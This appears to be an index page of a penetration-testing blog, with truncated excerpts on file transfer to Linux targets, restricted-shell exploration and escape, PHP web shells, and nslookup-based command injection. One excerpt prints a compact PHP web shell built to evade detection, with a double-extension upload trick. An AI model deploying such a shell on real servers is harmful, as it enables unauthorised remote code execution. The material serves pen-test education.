[Editor's note: Josh Wright spins up another useful blog article about different ways to move files to and from Linux systems. Lots of nice little tricks in this one. Thanks, Josh! --Ed.]
By Josh Wright
Sometimes I find myself with access to a remote Linux or Unix box, with limited opportunity to transfer files to my target. I appreciate the "Living off the Land" mentality and relying on locally-available resources instead of adding tools to my host as much as the next guy (or gal), but sometimes I need a binary to get the job done.
Fortunately, I've been working with Unix and Linux for a long time, and I remember old techniques back when modems made that horrible screeching sound. As long as you have a terminal, you can upload and download files regardless of other network accesswith a little awkwardness.
Encode and Clip
In the example that follows, ...
By Ed Skoudis and Josh Wright
Josh Wright and I were working on a project recently which involved a target machine with a really restricted shell environment. I'm not talking about a mere rbash with some limits on the executables we could access, but instead a shell so restricted we could not run any binaries at all, save for the shell itself. No ls no cat no netcat we could access very little. It was some sort of ghastly chroot specter.
Still, Josh and I wanted to explore the target machine as much as we could given these shell restrictions. Of course we could have tried escaping our restricted shell (as Doug Stilwell describes in more detail here) and even doing privilege escalation, but before that, we wanted to just look around. Thankfully, we had many shell built-in capabilities we could rely on.
For the uninitiated, shell built-ins are
[In this article, the inimitable Tim Medin has some fun with PHP web shells, and merges together some clever ideas for interacting with them in a rather stealthier fashion using some Python kung fu! --Ed.]
By: Tim Medin
Here is the scenario: you have a server that allows you to upload an avatar. The site makes sure that the file ends with .jpg, .png, or .gif. Being the sneaky bugger you are (as a professional penetration tester operating within your scope and rules of engagement, naturally), you upload a file named shell.php.jpg, containing this delightful gem:
<?php @extract($_REQUEST); @die ($ctime($atime)); ?>
This file passes the extention check, but since it contains .php in the filename, many systems will execute it as a script. Also, this shell
doesn't include the telltale "/bin/sh", "shell_exec", or "system" strings and it looks like some sort of ...
[Editor's Note: Tom Heffron provides some really cool tips for leveraging nslookup in web app command-injection attacks. His ideas for using environment variables is pretty nifty, and his point about how to launch this so that it doesn't require an authoritative DNS server is great. --Ed.]
When I took the recent SANS SEC 560 vLive course (yes, with Smell-O-Vision!) in January and February, I was super pumped to study the Pen Testing Arts under Sensei Skoudis and Sensei Medin. The last half of Day 5 focused on web app attacks (including hands-on exercises for XSRF, XSS, SQLi, and command injection). I took a particular interest in the command injection portion of the class, thinking about how to mix in a little command-line kung fu with nslookup, so that a pen tester may actually gather more information about the target environment in a flexible fashion.
Sometimes when I'm
[Editor's Note: On the GPWN mailing list for SANS Pen Test Course Alumni a few months ago, we had a nice, lively discussion about techniques penetration testers and ethical hackers could use to escape a restricted shell environment. A lot of nifty techniques were offered in what amounted to an interactive brainstorming session on the list. Doug Stilwell offered to write an article based on the discussion and his own experience. I really like what he's come up with, and I think it'll be a handy reference for folks who find themselves facing a restricted shell in a pen test and need to get deeper access into the target system. Thanks for the cool article, Doug! --Ed.]
By Doug Stilwell
Last year I was approached by a systems engineer and he offered me a steak dinner if I could escape the restricted shell he had set up on a Linux server. The restricted shell was being created due to a request from the development